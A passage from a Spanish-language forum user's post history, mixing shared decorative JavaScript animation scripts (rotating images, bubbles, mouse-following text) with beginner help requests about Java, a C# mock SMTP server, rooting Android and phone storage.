2) Cuando se implementa por ejemplo la interface ChangeListener... cómo sabe el programa que cuando se hace click en un control visual de tipo JRadioButton debe llamar al metodo stateChanged de la clase que implementa la interfaz? Lo gestiona Eclipse eso?

Gracias y saludos
#78
Desarrollo Web / javascript - Imagenes rotativas
5 Noviembre 2018, 14:24 PM
Hola,

en este código de javascript pueden dejar rotar en circulo cualquier cantidad de diferentes imagenes.

Con ello pueden cambiar en el comienzo del script no solamente las imágenes y sus pertenecientes links, sino también la velocidad, la posición, la dirección y el radio del circulo.

En nuestro ejemplo rotan cuatro imágenes arbitrarias.

Para ajustar las imágenes, por favor cambien el vector imagenes. Allí agreguen los links y las imágenes según el siguiente ejemplo:

URL del link => URL de la imagen

Osea por ejemplo así:

http://4.bp.blogspot.com => http://4.bp.blogspot.com/-y0zqfg-NQvg/UD0fMKA4rFI/AAAAAAAAAC8/6gn1s0JmCCc/s320/1418009890.png


Código:


<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Ajustar tamaño y posición
var zx,zy;
var mediox = 100;
var medioy = 50;
var radio = 100;
var speed  = 2; // 1-10... + oder - für Richtung
var imagenes_i = 0;
var imagenes = new Array();
var alpha = new Array();

// Ajustar las imagenes aqui
// Sintaxis: Link-URL => URL de la imagen
imagenes[imagenes_i++] = 'http://4.bp.blogspot.com => http://4.bp.blogspot.com/-y0zqfg-NQvg/UD0fMKA4rFI/AAAAAAAAAC8/6gn1s0JmCCc/s320/1418009890.png';
imagenes[imagenes_i++] = 'https://2.bp.blogspot.com => https://2.bp.blogspot.com/-d10rOGrZ7Hs/Tz5GT465rhI/AAAAAAAAHPs/pea6FI2bxKk/s200/juego+los+animales+de+granja.jpg';
imagenes[imagenes_i++] = 'https://pbs.twimg.com => https://pbs.twimg.com/profile_images/611270112843165697/sFT_vQcc_400x400.jpg';
imagenes[imagenes_i++] = 'http://www.misjuegos.com.mx => http://www.misjuegos.com.mx/wp-content/uploads/2009/05/8.png';


// A partir de aqui no cambiar mas nada
function initRotat() {
alpha_tmp = 0;
speed = speed / 1000;
for ( var i = 0; i < imagenes.length; i++)
{
alpha[i] = 6.28 / (imagenes.length) + alpha_tmp; // 0,1.6,3.2,4.8
var tmp = imagenes[i].split(" => ");
document.write('<div id="icon'+i+'" style="position:absolute;"><a href="'+tmp[0]+'"><img src="'+tmp[1]+'" alt="" border="0" /></a></div>');
alpha_tmp = alpha[i];
}
}
function pol_zu_kart(mx,my,radio,alp)
{
zx = mx + (radio * Math.sin(alp));
zy = my + (radio * Math.cos(alp));
}

function seguirgirando()
{
for (var i = 0; i < imagenes.length; i++)
{
alpha[i]+=speed;
if (speed>0)
{
if(alpha[i]>6.28) alpha[i]-=6.28;
}
else
{
if(alpha[i]<0) alpha[i]+=6.28;
}
pol_zu_kart(mediox,medioy,radio,alpha[i]);

document.getElementById('icon'+i).style.top=zy+'px';
document.getElementById('icon'+i).style.left=zx+'px';
}
}
initRotat();
//-->
</script>
<script type="text/javascript">status = window.setInterval("seguirgirando()",10);</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: https://drive.google.com/open?id=17HUcaDaOeXHouydO9E0b4ur-gmrt0SNc

Saludos
#79
Desarrollo Web / javascript - Burbujas ascendientes
5 Noviembre 2018, 13:23 PM
Hola,

Código:


<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'> <!--
Image0 = new Image();
Image0.src = "bubbles.gif";
Amount = 20;
Ymouse = -50;
Xmouse = -50;
Ypos = new Array();
Xpos = new Array();
Speed = new Array();
rate = new Array();
grow = new Array();
Step = new Array();
Cstep = new Array();
nsSize = new Array();
ns = (document.layers)?1:0;
(document.layers)?window.captureEvents(Event.MOUSEMOVE):0;
function Mouse(e) {
Ymouse=(e)?e.pageY-20:window.event.y-20;
Xmouse=(e)?e.pageX:window.event.x;
}
(document.layers)?window.onMouseMove=Mouse:document.onmousemove=Mouse;
for (i = 0; i < Amount; i++) {
Ypos[i] = Ymouse;
Xpos[i] = Xmouse;
Speed[i] = Math.random()*4+1;
Cstep[i] = 0;
Step[i] = Math.random()*0.1+0.05;
grow[i] = 8;
nsSize[i] = Math.random()*15+5;
rate[i] = Math.random()*0.5+0.1;
}
if (ns) {
for (i = 0; i < Amount; i++) {
document.write("<LAYER NAME='sn"+i+"' LEFT=0 TOP=0><img src="+Image0.src+" name='N' width="+nsSize[i]+" height="+nsSize[i]+"></LAYER>");
   }
}
else {
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < Amount; i++) {
document.write('<img id="si'+i+'" src="'+Image0.src+'" style="position:absolute;top:0px;left:0px;filter:alpha(opacity=90);">');
}
document.write('</div></div>');
}
function MouseBubbles() {
var hscrll = (document.layers)?window.pageYOffset:document.documentElement.scrollTop;
var wscrll = (document.layers)?window.pageXOffset:document.documentElement.scrollLeft;
for (i = 0; i < Amount; i++){
sy = Speed[i] * Math.sin(270 * Math.PI / 180);
sx = Speed[i] * Math.cos(Cstep[i] * 4);
Ypos[i] += sy;
Xpos[i] += sx;
if (Ypos[i] < -40) {
Ypos[i] = Ymouse;
Xpos[i] = Xmouse;
Speed[i] = Math.random() * 6 + 4;
grow[i] = 8;
nsSize[i] = Math.random() * 15 + 5;
}
if (ns) {
document.layers['sn'+i].left = Xpos[i] + wscrll;
document.layers['sn'+i].top = Ypos[i] + hscrll;
}
else {
document.getElementById('si'+i).style.left = Xpos[i] + wscrll+"px";
document.getElementById('si'+i).style.top = Ypos[i] + hscrll+"px";
document.getElementById('si'+i).style.width = grow[i]+"px";
document.getElementById('si'+i).style.height = grow[i]+"px";
}
grow[i] += rate[i];
Cstep[i] += Step[i];
if (grow[i] > 24) grow[i] = 25;
}
setTimeout('MouseBubbles()', 10);
}
//-->
</script>
<!-- Presentado por javascripts-gratis.de --><br />
<script type="text/javascript">MouseBubbles();</script>
</body>
</html>


Página web: https://drive.google.com/open?id=1i49I75G8VWgWh5rid3Gljb5dvt7rIkCc

Saludos
#80
Hola,

quería saber si la radiación del celular es peligrosa. Agradaceria también si me pasasen un página web confiable que responda mi pregunta ya que he visto páginas web que se contradicen.

Gracias y saludos
#81
Hola,

Aqui tienen un codigo que posiciona un texto al lado del raton y que con el movimiento del raton también lo arrastra:


<!DOCTYPE html>
<html>
<head>
 <title>Ejemplo de javascript</title>
 <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
message = 'www.javascripts-gratis.de '; // Tu texto
FonT = 'Verdana'; // Tu fuente
ColoR = '000080'; // Tu color de letra
SizE = 3; // Tu tamaño de letra (solamente 1 hasta 7)!

var amount = 5, ypos =- 50, xpos = 0, Ay = 0, Ax = 0, By = 0, Bx = 0, Cy = 0, Cx = 0, Dy = 0, Dx = 0, Ey = 0, Ex = 0;
if (document.layers) {
for (i = 0; i < amount; i++) {
document.write('<layer name=nsl'+i+' top=0 left=0><font face='+FonT+' size='+SizE+' color='+ColoR+'>'+message+'</font></layer>');
}
window.captureEvents(Event.MOUSEMOVE);
function nsmouse(evnt) {
xpos = evnt.pageX + 20;
ypos = evnt.pageY + 20;
}
window.onMouseMove = nsmouse;
}
else if (document.getElementById) {
document.write("<div id='outermausi' style='position:absolute;top:0px;left:0px'>");
document.write("<div style='position:relative'>");
for (i = 0; i < amount; i++) {
document.write('<div id="text'+i+'" style="position:absolute;top:0px;left:0px;width:400px;height:20px"><font face='+FonT+' size='+SizE+' color='+ColoR+'>'+message+'</font></div>')
}
document.write("</div>");
document.write("</div>");
function iemouse(e) {
ypos = (e)?e.pageY:event.y + 20;
xpos = (e)?e.pageX:event.x + 20;
}
window.document.onmousemove = iemouse;
}
function makefollow() {
if (document.layers) {
document.layers['nsl'+0].top = ay;
document.layers['nsl'+0].left = ax;
document.layers['nsl'+1].top = by;
document.layers['nsl'+1].left = bx;
document.layers['nsl'+2].top = cy;
document.layers['nsl'+2].left = cx;
document.layers['nsl'+3].top = Dy;
document.layers['nsl'+3].left = Dx;
document.layers['nsl'+4].top = Ey;
document.layers['nsl'+4].left = Ex;
}
else if (document.getElementById) {
document.getElementById('outermausi').style.top = document.documentElement.scrollTop;
document.getElementById('text0').style.top = ay+"px";
document.getElementById('text0').style.left = ax+"px";
document.getElementById('text1').style.top = by+"px";
document.getElementById('text1').style.left = bx+"px";
document.getElementById('text2').style.top = cy+"px";
document.getElementById('text2').style.left = cx+"px";
document.getElementById('text3').style.top = Dy+"px";
document.getElementById('text3').style.left = Dx+"px";
document.getElementById('text4').style.top = Ey+"px";
document.getElementById('text4').style.left = Ex+"px";

}
}
function move() {
ey = Ey += (ypos - Ey) * 0.2;
ex = Ex += (xpos - Ex) * 0.2;
dy = Dy += (ey - Dy) * 0.3;
dx = Dx += (ex - Dx) * 0.3;
cy = Cy += (dy - Cy) * 0.4;
cx = Cx += (dx - Cx) * 0.4;
by = By += (cy - By) * 0.5;
bx = Bx += (cx - Bx) * 0.5;
ay = Ay += (by - Ay) * 0.6;
ax = Ax += (bx - Ax) * 0.6;
makefollow();
setTimeout('move()', 10);
}
//-->
</script>
<script type="text/javascript">move();</script>
</body>
</html>


Página web: https://drive.google.com/open?id=18EP9NFKeq3L5TFtNUfCV-CcWh7MH2Q8o

Gracias y saludos
#82
Hola,

Me gustaria saber como se podria hacer lo siguiente:

Cómo puedo poner un logo mio en una superposición de pista y a tal efecto dar un canal alfa?

Gracias y saludos
#83
Desarrollo Web / javascript - Trio 3
15 Octubre 2018, 14:10 PM
Hola a todos,

les dejo un seguidor de raton.

Código:

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
//Trio Script by kurt.grigg (at) virgin.net

//Elige los colores y el tamaño
var a_Colour='ff0000';
var b_Colour='222222';
var c_Colour='0000ff';
var Size=50;
//A partir de aca no cambiar mas nada

var YDummy=new Array(),XDummy=new Array(),xpos=0,ypos=0,ThisStep=0;step=0.2;
if (document.layers){
window.captureEvents(Event.MOUSEMOVE);
function nsMouse(evnt){
xpos = window.pageYOffset+evnt.pageX+6;
ypos = window.pageYOffset+evnt.pageY+16;
}
window.onMouseMove = nsMouse;
}
else if (document.getElementById)
{
function ieMouse(e){
if (!e) {
xpos = document.documentElement.scrollLeft+event.x+6;
ypos = document.documentElement.scrollTop+event.y+16;
} else {
xpos = e.pageX+6;
ypos = e.pageY+16;
}
}
document.onmousemove = ieMouse;
}

function swirl(){
for (i = 0; i < 3; i++)
{

YDummy[i]=ypos+Size*Math.cos(ThisStep+i*2)*Math.sin((ThisStep+i*25)/2);

XDummy[i]=xpos+Size*Math.sin(ThisStep+i*2)*Math.sin((ThisStep+i*25)/2)*Math.sin(ThisStep/4);
}
ThisStep+=step;
setTimeout('swirl()',10);
}

var amount=10;
if (document.layers){
for (i = 0; i < amount; i++)
{
document.write('<layer name=nsa'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+a_Colour+'></layer>');
document.write('<layer name=nsb'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+b_Colour+'></layer>');
document.write('<layer name=nsc'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+c_Colour+'></layer>');
}
}
else if (document.getElementById){
document.write('<div id="ODiv" style="position:absolute;top:0px;left:0px">'
+'<div id="IDiv" style="position:relative">');
for (i = 0; i < amount; i++)
{
document.write('<div id="x'+i+'" style="position:absolute;top:0px;left:0px;width:'+i/2+'px;height:'+i/2+'px;background:#'+a_Colour+';font-size:'+i/2+'"></div>');
document.write('<div id="y'+i+'" style="position:absolute;top:0px;left:0px;width:'+i/2+'px;height:'+i/2+'px;background:#'+b_Colour+';font-size:'+i/2+'"></div>');
document.write('<div id="z'+i+'" style="position:absolute;top:0px;left:0px;width:'+i/2+'px;height:'+i/2+'px;background:#'+c_Colour+';font-size:'+i/2+'"></div>');
}
document.write('</div></div>');
}
function prepos(){
var ntscp=document.layers;
var msie=document.getElementById;
if (document.layers){
for (i = 0; i < amount; i++)
{
if (i < amount-1)
{
ntscp['nsa'+i].top=ntscp['nsa'+(i+1)].top;ntscp['nsa'+i].left=ntscp['nsa'+(i+1)].left;
ntscp['nsb'+i].top=ntscp['nsb'+(i+1)].top;ntscp['nsb'+i].left=ntscp['nsb'+(i+1)].left;
ntscp['nsc'+i].top=ntscp['nsc'+(i+1)].top;ntscp['nsc'+i].left=ntscp['nsc'+(i+1)].left;
}
else
{
ntscp['nsa'+i].top=YDummy[0];ntscp['nsa'+i].left=XDummy[0];
ntscp['nsb'+i].top=YDummy[1];ntscp['nsb'+i].left=XDummy[1];
ntscp['nsc'+i].top=YDummy[2];ntscp['nsc'+i].left=XDummy[2];
}
}
}
else if (document.getElementById){
for (i = 0; i <  amount; i++)
{
if (i < amount-1)
{
document.getElementById('x'+i).style.top=document.getElementById('x'+(i+1)).style.top;
document.getElementById('x'+i).style.left=document.getElementById('x'+(i+1)).style.left;
document.getElementById('y'+i).style.top=document.getElementById('y'+(i+1)).style.top;
document.getElementById('y'+i).style.left=document.getElementById('y'+(i+1)).style.left;
document.getElementById('z'+i).style.top=document.getElementById('z'+(i+1)).style.top;
document.getElementById('z'+i).style.left=document.getElementById('z'+(i+1)).style.left;
}
else
{
document.getElementById('x'+i).style.top=YDummy[0]+"px";document.getElementById('x'+i).style.left=XDummy[0]+"px";
document.getElementById('y'+i).style.top=YDummy[1]+"px";document.getElementById('y'+i).style.left=XDummy[1]+"px";
document.getElementById('z'+i).style.top=YDummy[2]+"px";document.getElementById('z'+i).style.left=XDummy[2]+"px";
}
}
}
setTimeout("prepos()",10);
}
function Start(){
swirl(),prepos()
}
//-->
</script>
<script type="text/javascript">function addEvent179(obj,type,fn){if(obj.addEventListener){obj.addEventListener(type,fn,false)}else if(obj.attachEvent){obj["e"+type+fn]=fn;obj[type+fn]=function(){obj["e"+type+fn](window.event)};obj.attachEvent("on"+type,obj[type+fn])}};addEvent179(window,'load',Start);</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: https://drive.google.com/file/d/13Jjr20DyX3efiH-IqyyhVZcSb7nq2Ifs/view?usp=sharing

Autor Kurt Grigg


Gracias y saludos
#84
Desarrollo Web / javascript - Logo Orbit
15 Octubre 2018, 13:56 PM
Hola a todos,

Un texto cualquiera orbita en este codigo de javascript el raton como en una orbita.

Despues de una revisión, este código de javascript funciona ahora también en Mozilla Firefox.

Código:

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
//Logo Orbit II kurt.grigg (at) virgin.net

yourLogo='https://www.javascripts-gratis.de ';
logoFont='Verdana';
logoSize=1; // 1-7 only! Para una letra mas grande cambia logowidth y logoheight!
logoColor='888888';
logoWidth=70;
logoHeight=70;
logoSpeed=0.03;


//A partir de aqui no cambiar mas nada!
yourLogo=yourLogo.split('');
L=yourLogo.length;
Result="<font face="+logoFont+" size="+logoSize+" color="+logoColor+">";
TrigSplit=360/L;
br=(document.layers)?1:0;
if (br){
for (i=0; i < L; i++)
document.write('<layer name="ns'+i+'" top=0 left=0 width=14 height=14">'+Result+yourLogo[i]+'</font></layer>');
}
else{
document.write('<div id="outer" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < L; i++)
document.write('<div id="ie'+i+'" style="position:absolute;top:0px;left:0px;width:14px;height:14px">'+Result+yourLogo[i]+'</font></div>');
document.write('</div></div>');
}
ypos=0;
xpos=0;
step=logoSpeed;
currStep=0;
Y=new Array();
X=new Array();
Yn=new Array();
Xn=new Array();
for (i=0; i < L; i++)
{
Yn[i]=0;
Xn[i]=0;
}
(document.layers)?window.captureEvents(Event.MOUSEMOVE):0;
function Mouse(e){
ypos = (e)?e.pageY:event.y;
xpos = (e)?e.pageX:event.x;
}
(document.layers)?window.onMouseMove=Mouse:document.onmousemove=Mouse;
function animateLogo(){
if (!br)document.getElementById('outer').style.pixelTop=document.documentElement.scrollTop;
for (i=0; i < L; i++){
var layer=(document.layers)?document.layers['ns'+i]:document.getElementById('ie' +i).style;
layer.top =Y[i]+logoHeight*Math.sin(currStep+i*TrigSplit*Math.PI/180)+"px";
layer.left=X[i]+logoWidth*Math.cos(currStep+i*TrigSplit*Math.PI/180)+"px";
}
currStep-=step;
}
function Delay(){
for (i=L; i >= 0; i--)
{
Y[i]=Yn[i]+=(ypos-Yn[i])*(0.1+i/L);
X[i]=Xn[i]+=(xpos-Xn[i])*(0.1+i/L);
}
animateLogo();
setTimeout('Delay()',20);
}
//-->
</script>
<script type="text/javascript">function addEvent182(obj,type,fn){if(obj.addEventListener){obj.addEventListener(type,fn,false)}else if(obj.attachEvent){obj["e"+type+fn]=fn;obj[type+fn]=function(){obj["e"+type+fn](window.event)};obj.attachEvent("on"+type,obj[type+fn])}};addEvent182(window,'load',Delay);</script>
<!-- präsentiert von javascripts-gratis.de -->
</body>
</html>



Página web: https://drive.google.com/file/d/1PW1ErUZRdJIlvxlG-J1DY12IOGyo7NQT/view?usp=sharing

Autor: Kurt Grigg

Gracias y saludos
#85
Java / Estructura repititiva while
30 Agosto 2018, 11:47 AM
Hola a todos,

Yo quería ingresar un conjunto de n alturas de personas por teclado y luego mostrar la altura promedio de las personas. Para eso hice este código:


import java.util.Scanner;

public class Clase1 {
public static void main(String[] ar) {
Scanner teclado = new Scanner(System.in);
int cantidad;
System.out.print("Escriba la cantidad de alturas a ingresar: ");
cantidad = teclado.nextInt();
int x = 1;
float altura, promedio;
float alturas = 0;
while (x <= cantidad) {
System.out.print("Altura: ");
altura = teclado.nextFloat();
alturas = alturas + altura;
}
promedio = alturas / cantidad;
System.out.print("La cantidad promedio de alturas de personas es: " + promedio);
}
}


Lo que pasa es que cuando ingreso 2.02 me larga la excepción java.util.InputMismatchException. Y no entiendo porque se me larga esta excepción porque creí que 2.02 era un float.

Alguien sabe a que se debe esta excepción?


Gracias y saludos
#86
Hola,

En el gestionador de datos se me hace entender que solo tengo 2 Gb de espacio. Pero en realidad el celular venia con 4 Gb. Y en Configuraciones > Memoria dice que tengo 4 Gb de espacio.

Cómo puedo hacer para recuperar el espacio?

Gracias y saludos
#87
Hola a todos,

trate de crear un servidor SMTP con este codigo:


IPEndPoint endPoint = new IPEndPoint(IPAddress.Any, 25);
TcpListener listener = new TcpListener(endPoint);
listener.Start();

while (true)
{
    TcpClient client = listener.AcceptTcpClient();
    SMTPServer handler = new SMTPServer();
    servers.Add(handler);
    handler.Init(client);
    Thread thread = new System.Threading.Thread(new ThreadStart(handler.Run));
    thread.Start();
}

public void Run()
{
    Write("220 localhost -- Fake proxy server");
    string strMessage = String.Empty;
    while (true)
    {
        try
        {
            strMessage = Read();
        }
        catch(Exception e)
        {
            //a socket error has occured
            break;
        }

        if (strMessage.Length > 0)
        {
            if (strMessage.StartsWith("QUIT"))
            {
                client.Close();
                break;//exit while
            }
            //message has successfully been received
            if (strMessage.StartsWith("EHLO"))
            {
                Write("250 OK");
            }

            if (strMessage.StartsWith("RCPT TO"))
            {
                Write("250 OK");
            }

            if (strMessage.StartsWith("MAIL FROM"))
            {

               Write("250 OK");
            }

            if (strMessage.StartsWith("DATA"))
            {
                Write("354 Start mail input; end with");
                strMessage = Read();
                Write("250 OK");
            }
        } 
    }
}

private void Write(String strMessage)
{
    NetworkStream clientStream = client.GetStream();
    ASCIIEncoding encoder = new ASCIIEncoding();
    byte[] buffer = encoder.GetBytes(strMessage + "\r\n");
   
    clientStream.Write(buffer, 0, buffer.Length);
    clientStream.Flush();
}

private String Read()
{
    byte[] messageBytes = new byte[8192];
    int bytesRead = 0;
    NetworkStream clientStream = client.GetStream();
    ASCIIEncoding encoder = new ASCIIEncoding();
    bytesRead = clientStream.Read(messageBytes, 0, 8192);
    string strMessage = encoder.GetString(messageBytes, 0, bytesRead);
    return strMessage;
}


Pero me larga error. Me dice que no se encontró SMTPServer.

Que puedo hacer? De donde puedo obtener la clase SMTPServer?


Gracias y saludos
#88
Android / Rootear Android 4.2.2
13 Junio 2018, 15:54 PM
Hola,

cómo puedo rootear Android 4.2.2?

Intente lo siguiente:

1) Intente descargar e instalar KingoRoot.apk de esta pagina: https://root-apk.kingoapp.com/kingoroot-download.htm

Pero al abrir la App, me deberia aparecer el boton "One Click Root", el cual no aparece.

2) Intente descargar e instalar Framaroot de esta pagina: https://www.apkmirror.com/apk/alephzain/framaroot/framaroot-1-9-3-release/framaroot-1-9-3-android-apk-download/

Pero al tratar de instalarlo, cada vez me aparece este mensaje: "App no instalada".

Alguien me puede ayudar?

Gracias y saludos
#89
Hola,

en mi celular me aparecen varias notificaciones de que no se pueden actualizar algunas Apps.

Tomemos por ejemplo Notepad. Me dice que no puedo actualizar/instalar Notepad porque en mi dispositivo no tengo suficiente espacio. Pero hombre! Si que lo tengo! Me compre una tarjeta SD de 32 GB.

Pero ahora viene lo interesante: Yo configure mi celular para que mi tarjeta SD sea mi memoria principal. Pero ahora voy a "Configuraciones", luego a "Administrar Apps", luego, en la sección "En tarjeta SD" no aparece Notepad! Entonces voy a a la sección "Descargadas", luego a "Notepad" y el/la boton/opcion "Instalar en tarjeta SD" esta deshabilitada!

Alguien me puede ayudar para que pueda actualizar mis Apps normalmente en mi tarjeta SD por favor?

Gracias y saludos

PD.: Tengo Android 4.2.2
#90
Hola,

como puedo publicar una pagina desde la computadora al internet?

Ya abri los puertos. Pero que programa necesito?

Gracias y saludos